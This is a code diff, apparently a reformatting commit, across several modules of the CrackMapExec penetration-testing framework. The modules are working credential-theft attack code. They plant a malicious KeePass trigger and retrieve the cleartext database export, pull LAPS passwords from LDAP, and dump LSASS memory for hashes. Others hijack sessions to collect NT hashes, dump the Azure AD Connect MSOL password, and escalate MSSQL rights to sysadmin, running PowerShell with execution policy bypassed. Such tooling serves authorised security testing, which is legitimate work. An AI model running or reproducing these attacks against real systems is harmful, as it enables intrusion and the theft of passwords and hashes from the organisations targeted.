@ -216,13 +180,9 @@ class CMEModule:
"""check if the trigger is added to the config file XML tree"""
if self.trigger_added(context, connection):
context.log.display(
f"Malicious trigger '{self.trigger_name}' found in '{self.keepass_config_path}'"
)
context.log.display(f"Malicious trigger '{self.trigger_name}' found in '{self.keepass_config_path}'")
else:
context.log.display(
f"No trigger '{self.trigger_name}' found in '{self.keepass_config_path}'"
)
context.log.display(f"No trigger '{self.trigger_name}' found in '{self.keepass_config_path}'")
def restart(self, context, connection):
"""Force the restart of KeePass process using a Windows service defined using the powershell script RestartKeePass.ps1
@ -231,13 +191,9 @@ class CMEModule:
# search for keepass processes
search_keepass_process_command_str = 'powershell.exe "Get-Process keepass* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"'
search_keepass_process_output_csv = connection.execute(
search_keepass_process_command_str, True
)
search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True)
# we return the powershell command as a CSV for easier column parsing
csv_reader = reader(
search_keepass_process_output_csv.split("\n"), delimiter=","
)
csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",")
next(csv_reader) # to skip the header line
keepass_process_list = list(csv_reader)
# check if multiple processes belonging to different users are running (in order to choose which one to restart)
@ -249,64 +205,40 @@ class CMEModule:
return
elif len(keepass_users) == 1: # if there is only 1 KeePass process running
# if KEEPASS_USER option is specified then we check if the user matches
if self.keepass_user and (
keepass_users[0] != self.keepass_user
and keepass_users[0].split("\\")[1] != self.keepass_user
):
context.log.fail(
f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart"
)
if self.keepass_user and (keepass_users[0] != self.keepass_user and keepass_users[0].split("\\")[1] != self.keepass_user):
context.log.fail(f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart")
return
else:
self.keepass_user = keepass_users[0]
elif len(keepass_users) > 1 and self.keepass_user:
found_user = False # we search through every KeePass process owner for the specified user
for user in keepass_users:
if (
user == self.keepass_user
or user.split("\\")[1] == self.keepass_user
):
if user == self.keepass_user or user.split("\\")[1] == self.keepass_user:
self.keepass_user = keepass_users[0]
found_user = True
if not found_user:
context.log.fail(
f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart"
)
context.log.fail(f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart")
return
else:
context.log.fail(
"Multiple KeePass processes were found, please specify parameter USER to target one"
)
context.log.fail("Multiple KeePass processes were found, please specify parameter USER to target one")
return
context.log.display("Restarting {}'s KeePass process".format(keepass_users[0]))
# prepare the restarting script based on user-specified parameters (e.g: keepass user, etc)
# see data/keepass_trigger_module/RestartKeePass.ps1
self.restart_keepass_script_str = self.restart_keepass_script_str.replace(
"REPLACE_ME_KeePassUser", self.keepass_user
)
self.restart_keepass_script_str = self.restart_keepass_script_str.replace(
"REPLACE_ME_KeePassBinaryPath", self.keepass_binary_path
)
self.restart_keepass_script_str = self.restart_keepass_script_str.replace(
"REPLACE_ME_DummyServiceName", self.dummy_service_name
)
self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_KeePassUser", self.keepass_user)
self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_KeePassBinaryPath", self.keepass_binary_path)
self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_DummyServiceName", self.dummy_service_name)
# actually performs the restart on the remote target
if self.powershell_exec_method == "ENCODE":
restart_keepass_script_b64 = b64encode(
self.restart_keepass_script_str.encode("UTF-16LE")
).decode("utf-8")
restart_keepass_script_cmd = "powershell.exe -e {}".format(
restart_keepass_script_b64
)
restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode("UTF-16LE")).decode("utf-8")
restart_keepass_script_cmd = "powershell.exe -e {}".format(restart_keepass_script_b64)
connection.execute(restart_keepass_script_cmd)
elif self.powershell_exec_method == "PS1":
try:
self.put_file_execute_delete(
context, connection, self.restart_keepass_script_str
)
self.put_file_execute_delete(context, connection, self.restart_keepass_script_str)
except Exception as e:
context.log.fail("Error while restarting KeePass: {}".format(e))
return
@ -315,28 +247,18 @@ class CMEModule:
"""Search for the cleartext database export file in the specified export folder
(until found, or manually exited by the user)"""
found = False
context.log.display(
f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient"
)
context.log.display(
"we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything"
)
context.log.display(f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient")
context.log.display("we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything")
# if the specified path is %APPDATA%, we need to check in every user's folder
if self.export_path == "%APPDATA%" or self.export_path == "%appdata%":
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(
self.export_name
)
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name)
else:
export_full_path = f"'{self.export_path}\\{self.export_name}'"
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(
export_full_path, export_full_path
)
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path)
# we poll every X seconds until the export path is found on the remote machine
while not found:
poll_exports_command_output = connection.execute(
poll_export_command_str, True
)
poll_exports_command_output = connection.execute(poll_export_command_str, True)
if self.export_name not in poll_exports_command_output:
print(".", end="", flush=True)
sleep(self.poll_frequency_seconds)
@ -346,119 +268,73 @@ class CMEModule:
# once a database is found, downloads it to the attackers machine
context.log.success("Found database export !")
# in case multiple exports found (may happen if several users exported the database to their APPDATA)
for count, export_path in enumerate(
poll_exports_command_output.split("\r\n")
):
for count, export_path in enumerate(poll_exports_command_output.split("\r\n")):
try:
buffer = BytesIO()
connection.conn.getFile(
self.share, export_path.split(":")[1], buffer.write
)
connection.conn.getFile(self.share, export_path.split(":")[1], buffer.write)
# if multiple exports found, add a number at the end of local path to prevent override
if count > 0:
local_full_path = (
self.local_export_path
+ "/"
+ self.export_name.split(".")[0]
+ "_"
+ str(count)
+ "."
+ self.export_name.split(".")[1]
)
local_full_path = self.local_export_path + "/" + self.export_name.split(".")[0] + "_" + str(count) + "." + self.export_name.split(".")[1]
else:
local_full_path = (
self.local_export_path + "/" + self.export_name
)
local_full_path = self.local_export_path + "/" + self.export_name
# downloads the exported database
with open(local_full_path, "wb") as f:
f.write(buffer.getbuffer())
remove_export_command_str = "powershell.exe Remove-Item {}".format(
export_path
)
remove_export_command_str = "powershell.exe Remove-Item {}".format(export_path)
connection.execute(remove_export_command_str, True)
context.log.success(
'Moved remote "{}" to local "{}"'.format(
export_path, local_full_path
)
)
context.log.success('Moved remote "{}" to local "{}"'.format(export_path, local_full_path))
found = True
except Exception as e:
context.log.fail(
"Error while polling export files, exiting : {}".format(e)
)
context.log.fail("Error while polling export files, exiting : {}".format(e))
def clean(self, context, connection):
"""Checks for database export + malicious trigger on the remote host, removes everything"""
# if the specified path is %APPDATA%, we need to check in every user's folder
if self.export_path == "%APPDATA%" or self.export_path == "%appdata%":
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(
self.export_name
)
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name)
else:
export_full_path = f"'{self.export_path}\\{self.export_name}'"
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(
export_full_path, export_full_path
)
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path)
poll_export_command_output = connection.execute(poll_export_command_str, True)
# deletes every export found on the remote machine
if self.export_name in poll_export_command_output:
# in case multiple exports found (may happen if several users exported the database to their APPDATA)
for export_path in poll_export_command_output.split("\r\n"):
context.log.display(
f"Database export found in '{export_path}', removing"
)
context.log.display(f"Database export found in '{export_path}', removing")
remove_export_command_str = f"powershell.exe Remove-Item {export_path}"
connection.execute(remove_export_command_str, True)
else:
context.log.display(
f"No export found in {self.export_path} , everything is cleaned"
)
context.log.display(f"No export found in {self.export_path} , everything is cleaned")
# if the malicious trigger was not self-deleted, deletes it
if self.trigger_added(context, connection):
# prepare the trigger deletion script based on user-specified parameters (e.g: trigger name, etc)
# see data/keepass_trigger_module/RemoveKeePassTrigger.ps1
self.remove_trigger_script_str = self.remove_trigger_script_str.replace(
"REPLACE_ME_KeePassXMLPath", self.keepass_config_path
)
self.remove_trigger_script_str = self.remove_trigger_script_str.replace(
"REPLACE_ME_TriggerName", self.trigger_name
)
self.remove_trigger_script_str = self.remove_trigger_script_str.replace("REPLACE_ME_KeePassXMLPath", self.keepass_config_path)
self.remove_trigger_script_str = self.remove_trigger_script_str.replace("REPLACE_ME_TriggerName", self.trigger_name)
# actually performs trigger deletion
if self.powershell_exec_method == "ENCODE":
remove_trigger_script_b64 = b64encode(
self.remove_trigger_script_str.encode("UTF-16LE")
).decode("utf-8")
remove_trigger_script_command_str = (
f"powershell.exe -e {remove_trigger_script_b64}"
)
remove_trigger_script_b64 = b64encode(self.remove_trigger_script_str.encode("UTF-16LE")).decode("utf-8")
remove_trigger_script_command_str = f"powershell.exe -e {remove_trigger_script_b64}"
connection.execute(remove_trigger_script_command_str, True)
elif self.powershell_exec_method == "PS1":
try:
self.put_file_execute_delete(
context, connection, self.remove_trigger_script_str
)
self.put_file_execute_delete(context, connection, self.remove_trigger_script_str)
except Exception as e:
context.log.fail(f"Error while deleting trigger, exiting: {e}")
sys.exit(1)
# check if the specified KeePass configuration file does not contain the malicious trigger anymore
if self.trigger_added(context, connection):
context.log.fail(
f"Unknown error while removing trigger '{self.trigger_name}', exiting"
)
context.log.fail(f"Unknown error while removing trigger '{self.trigger_name}', exiting")
else:
context.log.display(
f"Found trigger '{self.trigger_name}' in configuration file, removing"
)
context.log.display(f"Found trigger '{self.trigger_name}' in configuration file, removing")
else:
context.log.success(
f"No trigger '{self.trigger_name}' found in '{self.keepass_config_path}', skipping"
)
context.log.success(f"No trigger '{self.trigger_name}' found in '{self.keepass_config_path}', skipping")
def all_in_one(self, context, connection):
"""Performs ADD, RESTART, POLL and CLEAN actions one after the other"""
@ -484,27 +360,19 @@ class CMEModule:
try:
buffer = BytesIO()
connection.conn.getFile(
self.share, self.keepass_config_path.split(":")[1], buffer.write
)
connection.conn.getFile(self.share, self.keepass_config_path.split(":")[1], buffer.write)
except Exception as e:
context.log.fail(
f"Error while getting file '{self.keepass_config_path}', exiting: {e}"
)
context.log.fail(f"Error while getting file '{self.keepass_config_path}', exiting: {e}")
sys.exit(1)
try:
keepass_config_xml_root = ElementTree.fromstring(buffer.getvalue())
except Exception as e:
context.log.fail(
f"Error while parsing file '{self.keepass_config_path}', exiting: {e}"
)
context.log.fail(f"Error while parsing file '{self.keepass_config_path}', exiting: {e}")
sys.exit(1)
# check if the specified KeePass configuration file does not already contain the malicious trigger
for trigger in keepass_config_xml_root.findall(
".//Application/TriggerSystem/Triggers/Trigger"
):
for trigger in keepass_config_xml_root.findall(".//Application/TriggerSystem/Triggers/Trigger"):
if trigger.find("Name").text == self.trigger_name:
return True
@ -513,16 +381,10 @@ class CMEModule:
def put_file_execute_delete(self, context, connection, psh_script_str):
"""Helper to upload script to a temporary folder, run then deletes it"""
script_str_io = StringIO(psh_script_str)
connection.conn.putFile(
self.share, self.remote_temp_script_path.split(":")[1], script_str_io.read
)
script_execute_cmd = "powershell.exe -ep Bypass -F {}".format(
self.remote_temp_script_path
)
connection.conn.putFile(self.share, self.remote_temp_script_path.split(":")[1], script_str_io.read)
script_execute_cmd = "powershell.exe -ep Bypass -F {}".format(self.remote_temp_script_path)
connection.execute(script_execute_cmd, True)
remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item "{}""'.format(
self.remote_temp_script_path
)
remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item "{}""'.format(self.remote_temp_script_path)
connection.execute(remove_remote_temp_script_cmd)
def extract_password(self, context):
@ -538,15 +400,9 @@ class CMEModule:
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]:
for password in obj2["String"]:
if password["Key"] == "Password":
context.log.highlight(
str(password["Key"])
+ " : "
+ str(password["Value"]["#text"])
)
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(
str(password["Key"]) + " : " + str(password["Value"])
)
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
if len(obj["KeePassFile"]["Root"]["Group"]["Group"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]:
@ -554,17 +410,9 @@ class CMEModule:
for obj3 in obj2["Entry"]:
for password in obj3["String"]:
if password["Key"] == "Password":
context.log.highlight(
str(password["Key"])
+ " : "
+ str(password["Value"]["#text"])
)
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(
str(password["Key"])
+ " : "
+ str(password["Value"])
)
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
except KeyError:
pass

View File

@ -33,11 +33,7 @@ class CMEModule:
def on_login(self, context, connection):
context.log.display("Getting LAPS Passwords")
if self.computer is not None:
searchFilter = (
"(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name="
+ self.computer
+ "))"
)
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.computer + "))"
else:
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))"
attributes = [
@ -47,46 +43,27 @@ class CMEModule:
"sAMAccountName",
]
results = connection.search(searchFilter, attributes, 0)
results = [
r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)
]
results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
if len(results) != 0:
laps_computers = []
for computer in results:
msMCSAdmPwd = ""
sAMAccountName = ""
values = {
str(attr["type"]).lower(): str(attr["vals"][0])
for attr in computer["attributes"]
}
values = {str(attr["type"]).lower(): str(attr["vals"][0]) for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
context.log.fail(
"LAPS password is encrypted and currently CrackMapExec doesn't"
" support the decryption..."
)
context.log.fail("LAPS password is encrypted and currently CrackMapExec doesn't" " support the decryption...")
return
elif "mslaps-password" in values:
r = json.loads(values["mslaps-password"])
laps_computers.append((values["samaccountname"], r["n"], r["p"]))
elif "ms-mcs-admpwd" in values:
laps_computers.append(
(values["samaccountname"], "", values["ms-mcs-admpwd"])
)
laps_computers.append((values["samaccountname"], "", values["ms-mcs-admpwd"]))
else:
context.log.fail(
"No result found with attribute ms-MCS-AdmPwd or"
" msLAPS-Password"
)
context.log.fail("No result found with attribute ms-MCS-AdmPwd or" " msLAPS-Password")
laps_computers = sorted(laps_computers, key=lambda x: x[0])
for sAMAccountName, user, msMCSAdmPwd in laps_computers:
context.log.highlight(
"Computer: {:<20} User: {:<15} Password: {}".format(
sAMAccountName, user, msMCSAdmPwd
)
)
context.log.highlight("Computer: {:<20} User: {:<15} Password: {}".format(sAMAccountName, user, msMCSAdmPwd))
else:
context.log.fail(
"No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !"
)
context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !")

View File

@ -22,9 +22,7 @@ class CMEModule:
"""
name = "ldap-checker"
description = (
"Checks whether LDAP signing and binding are required and / or enforced"
)
description = "Checks whether LDAP signing and binding are required and / or enforced"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
@ -53,9 +51,7 @@ class CMEModule:
def run_ldaps_noEPA(inputUser, inputPassword, dcTarget):
try:
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2)
ldapServer = ldap3.Server(
dcTarget, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls
)
ldapServer = ldap3.Server(dcTarget, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
ldapConn = ldap3.Connection(
ldapServer,
user=inputUser,
@ -75,10 +71,7 @@ class CMEModule:
exit()
except Exception as e:
context.log.fail("\n [!] " + dcTarget + " -", str(e))
context.log.fail(
" * Ensure DNS is resolving properly, and that you can reach"
" LDAPS on this host"
)
context.log.fail(" * Ensure DNS is resolving properly, and that you can reach" " LDAPS on this host")
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that and
@ -147,9 +140,7 @@ class CMEModule:
ssl_sock.close()
return False
else:
context.log.fail(
"Unexpected error during LDAPS handshake: " + str(e)
)
context.log.fail("Unexpected error during LDAPS handshake: " + str(e))
ssl_sock.close()
return False
@ -157,9 +148,7 @@ class CMEModule:
# requirements are enforced based on potential errors
# during the bind attempt.
def run_ldap(inputUser, inputPassword, dcTarget):
ldapServer = ldap3.Server(
dcTarget, use_ssl=False, port=389, get_info=ldap3.ALL
)
ldapServer = ldap3.Server(dcTarget, use_ssl=False, port=389, get_info=ldap3.ALL)
ldapConn = ldap3.Connection(
ldapServer,
user=inputUser,
@ -176,9 +165,7 @@ class CMEModule:
context.log.debug("UNEXPECTED ERROR: " + str(ldapConn.result))
else:
# LDAPS bind successful
return (
False # because LDAP server signing requirements are not enforced
)
return False # because LDAP server signing requirements are not enforced
exit()
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
@ -190,23 +177,11 @@ class CMEModule:
elif ldapIsProtected == True:
context.log.fail("LDAP Signing IS Enforced")
if DoesLdapsCompleteHandshake(dcTarget) == True:
ldapsChannelBindingAlwaysCheck = run_ldaps_noEPA(
inputUser, inputPassword, dcTarget
)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(
run_ldaps_withEPA(inputUser, inputPassword, dcTarget)
)
if (
ldapsChannelBindingAlwaysCheck == False
and ldapsChannelBindingWhenSupportedCheck == True
):
context.log.highlight(
'LDAPS Channel Binding is set to "When Supported"'
)
elif (
ldapsChannelBindingAlwaysCheck == False
and ldapsChannelBindingWhenSupportedCheck == False
):
ldapsChannelBindingAlwaysCheck = run_ldaps_noEPA(inputUser, inputPassword, dcTarget)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(inputUser, inputPassword, dcTarget))
if ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
elif ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == False:
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
elif ldapsChannelBindingAlwaysCheck == True:
context.log.fail('LDAPS Channel Binding is set to "Required"')
@ -214,7 +189,4 @@ class CMEModule:
context.log.fail("\nSomething went wrong...")
exit()
else:
context.log.fail(
dcTarget
+ " - cannot complete TLS handshake, cert likely not configured"
)
context.log.fail(dcTarget + " - cannot complete TLS handshake, cert likely not configured")

View File

@ -18,9 +18,7 @@ class CMEModule:
name = "lsassy"
description = "Dump lsass and parse the result remotely with lsassy"
supported_protocols = ["smb"]
opsec_safe = (
True # writes temporary files, and it's possible for them to not be deleted
)
opsec_safe = True # writes temporary files, and it's possible for them to not be deleted
multiple_hosts = True
def __init__(self, context=None, module_options=None):
@ -85,13 +83,9 @@ class CMEModule:
if deleted_file:
context.log.debug(f"Deleted dumper file")
else:
context.log.fail(
f"[OPSEC] No exception, but failed to delete file: {file_path}"
)
context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
except Exception as e:
context.log.fail(
f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}"
)
context.log.fail(f"[OPSEC] Error deleting temporary lsassy dumper file {file_path}: {e}")
if credentials is None:
credentials = []
@ -100,13 +94,7 @@ class CMEModule:
c = cred.get_object()
context.log.debug(f"Cred: {c}")
credentials = [
cred.get_object()
for cred in credentials
if cred.ticket is None
and cred.masterkey is None
and not cred.get_username().endswith("$")
]
credentials = [cred.get_object() for cred in credentials if cred.ticket is None and cred.masterkey is None and not cred.get_username().endswith("$")]
credentials_unique = []
credentials_output = []
context.log.debug(f"Credentials: {credentials}")
@ -141,10 +129,7 @@ class CMEModule:
domain = None
for cred in credentials:
domain = cred["domain"]
if (
"." not in cred["domain"]
and cred["domain"].upper() in connection.domain.upper()
):
if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper():
domain = connection.domain # slim shady
self.save_credentials(
context,
@ -163,9 +148,7 @@ class CMEModule:
cred["lmhash"],
cred["nthash"],
)
credz_bh.append(
{"username": cred["username"].upper(), "domain": domain.upper()}
)
credz_bh.append({"username": cred["username"].upper(), "domain": domain.upper()})
add_user_bh(credz_bh, domain, context.log, connection.config)
@staticmethod
@ -176,15 +159,11 @@ class CMEModule:
context.log.highlight(output)
@staticmethod
def save_credentials(
context, connection, domain, username, password, lmhash, nthash
):
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
host_id = context.db.get_hosts(connection.host)[0][0]
if password is not None:
credential_type = "plaintext"
else:
credential_type = "hash"
password = ":".join(h for h in [lmhash, nthash] if h is not None)
context.db.add_credential(
credential_type, domain, username, password, pillaged_from=host_id
)
context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)

View File

@ -40,9 +40,7 @@ class CMEModule:
def on_admin_login(self, context, connection):
if not self.ca:
context.log.fail(
"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)"
)
context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
return False
host = connection.host
@ -78,9 +76,7 @@ class CMEModule:
if not tracker.nb_hijacked_users:
context.log.display("No users' sessions were hijacked")
else:
context.log.display(
f"{tracker.nb_hijacked_users} session(s) successfully hijacked"
)
context.log.display(f"{tracker.nb_hijacked_users} session(s) successfully hijacked")
context.log.display("Attempting to retrieve NT hash(es) via PKINIT")
if not rslts:
@ -96,9 +92,7 @@ class CMEModule:
if pwned_users:
context.log.success(f"{pwned_users} NT hash(es) successfully collected")
else:
context.log.fail(
"Unable to collect NT hash(es) from the hijacked session(s)"
)
context.log.fail("Unable to collect NT hash(es) from the hijacked session(s)")
return True
def process_credentials(self, connection, context, user):
@ -121,17 +115,10 @@ class CMEModule:
if not tracker.files_cleaning_success:
context.log.fail("Fail to clean files related to Masky")
context.log.fail(
(
f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', "
f"'{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'"
)
)
context.log.fail((f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', " f"'{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'"))
ret = False
if not tracker.svc_cleaning_success:
context.log.fail(
f"Fail to remove the service named '{tracker.svc_name}', please remove it manually"
)
context.log.fail(f"Fail to remove the service named '{tracker.svc_name}', please remove it manually")
ret = False
return ret

View File

@ -22,9 +22,7 @@ class CMEModule:
def on_login(self, context, connection):
if check(connection.host):
context.log.highlight("VULNERABLE")
context.log.highlight(
"Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/"
)
context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/")
class SMB_HEADER(Structure):

View File

@ -8,9 +8,7 @@ from cme.helpers.powershell import get_ps_script
class CMEModule:
name = "msol"
description = (
"Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server"
)
description = "Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@ -65,9 +63,7 @@ class CMEModule:
context.log.display(f"Uploading {self.msol}")
with open(file_to_upload, "rb") as msol:
try:
connection.conn.putFile(
self.share, f"{self.tmp_share}{self.msol}", msol.read
)
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
context.log.success(f"Msol script successfully uploaded")
except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
@ -89,6 +85,4 @@ class CMEModule:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
context.log.success(f"Msol script successfully deleted")
except Exception as e:
context.log.fail(
f"[OPSEC] Error deleting msol script on {self.share}: {e}"
)
context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")

View File

@ -92,12 +92,7 @@ class CMEModule:
elif target_user.dbowner:
self.do_dbowner_privesc(target_user.dbowner, exec_as)
if self.is_admin_user(self.current_username):
self.context.log.success(
f"{self.current_username} is now a sysadmin! "
+ highlight(
"({})".format(self.context.conf.get("CME", "pwn3d_label"))
)
)
self.context.log.success(f"{self.current_username} is now a sysadmin! " + highlight("({})".format(self.context.conf.get("CME", "pwn3d_label"))))
def build_exec_as_from_path(self, target_user):
path = [target_user.username]
@ -118,20 +113,13 @@ class CMEModule:
return initial_user
for grantor in user.grantors:
if grantor.is_sysadmin:
self.context.log.success(
f"{user.username} can impersonate: "
f"{grantor.username} (sysadmin)"
)
self.context.log.success(f"{user.username} can impersonate: " f"{grantor.username} (sysadmin)")
return grantor
elif grantor.dbowner:
self.context.log.success(
f"{user.username} can impersonate: {grantor.username} (which can privesc via dbowner)"
)
self.context.log.success(f"{user.username} can impersonate: {grantor.username} (which can privesc via dbowner)")
return grantor
else:
self.context.log.display(
f"{user.username} can impersonate: {grantor.username}"
)
self.context.log.display(f"{user.username} can impersonate: {grantor.username}")
return self.browse_path(context, initial_user, grantor)
def query_and_get_output(self, query):
@ -194,9 +182,7 @@ class CMEModule:
return False
def get_databases(self, exec_as="") -> list:
res = self.query_and_get_output(
exec_as + "SELECT name FROM master..sysdatabases"
)
res = self.query_and_get_output(exec_as + "SELECT name FROM master..sysdatabases")
self.revert_context(exec_as)
self.context.log.debug(f"Response: {res}")
self.context.log.debug(f"Response Type: {type(res)}")
@ -290,15 +276,11 @@ class CMEModule:
return users
def remove_sysadmin_priv(self) -> bool:
res = self.query_and_get_output(
f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'"
)
res = self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'")
return not self.is_admin()
def is_admin_user(self, username) -> bool:
res = self.query_and_get_output(
f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')"
)
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
try:
if int(res):
self.admin_privs = True

View File

@ -100,16 +100,10 @@ class CMEModule:
if self.context.protocol == "smb":
with open(self.nano_path + self.nano, "rb") as nano:
try:
self.connection.conn.putFile(
self.share, self.tmp_share + self.nano, nano.read
)
self.context.log.success(
f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}"
)
self.connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
self.context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}")
except Exception as e:
self.context.log.fail(
f"Error writing file to share {self.share}: {e}"
)
self.context.log.fail(f"Error writing file to share {self.share}: {e}")
else:
with open(self.nano_path + self.nano, "rb") as nano:
try:
@ -117,18 +111,12 @@ class CMEModule:
exec_method = MSSQLEXEC(self.connection.conn)
exec_method.put_file(nano.read(), self.tmp_dir + self.nano)
if exec_method.file_exists(self.tmp_dir + self.nano):
self.context.log.success(
f"Created file {self.nano} on the remote machine {self.tmp_dir}"
)
self.context.log.success(f"Created file {self.nano} on the remote machine {self.tmp_dir}")
else:
self.context.log.fail(
"File does not exist on the remote system... error during upload"
)
self.context.log.fail("File does not exist on the remote system... error during upload")
sys.exit(1)
except Exception as e:
self.context.log.fail(
f"Error writing file to remote machine directory {self.tmp_dir}: {e}"
)
self.context.log.fail(f"Error writing file to remote machine directory {self.tmp_dir}: {e}")
# apparently SMB exec methods treat the output parameter differently than MSSQL (we use it to display())
# if we don't do this, then SMB doesn't actually return the results of commands, so it appears that the
@ -178,45 +166,27 @@ class CMEModule:
if self.context.protocol == "smb":
with open(filename, "wb+") as dump_file:
try:
self.connection.conn.getFile(
self.share, self.tmp_share + nano_log_name, dump_file.write
)
self.context.log.success(
f"Dumpfile of lsass.exe was transferred to {filename}"
)
self.connection.conn.getFile(self.share, self.tmp_share + nano_log_name, dump_file.write)
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
except Exception as e:
self.context.log.fail(f"Error while getting file: {e}")
try:
self.connection.conn.deleteFile(
self.share, self.tmp_share + self.nano
)
self.context.log.success(
f"Deleted nano file on the {self.share} share"
)
self.connection.conn.deleteFile(self.share, self.tmp_share + self.nano)
self.context.log.success(f"Deleted nano file on the {self.share} share")
except Exception as e:
self.context.log.fail(
f"Error deleting nano file on share {self.share}: {e}"
)
self.context.log.fail(f"Error deleting nano file on share {self.share}: {e}")
try:
self.connection.conn.deleteFile(
self.share, self.tmp_share + nano_log_name
)
self.context.log.success(
f"Deleted lsass.dmp file on the {self.share} share"
)
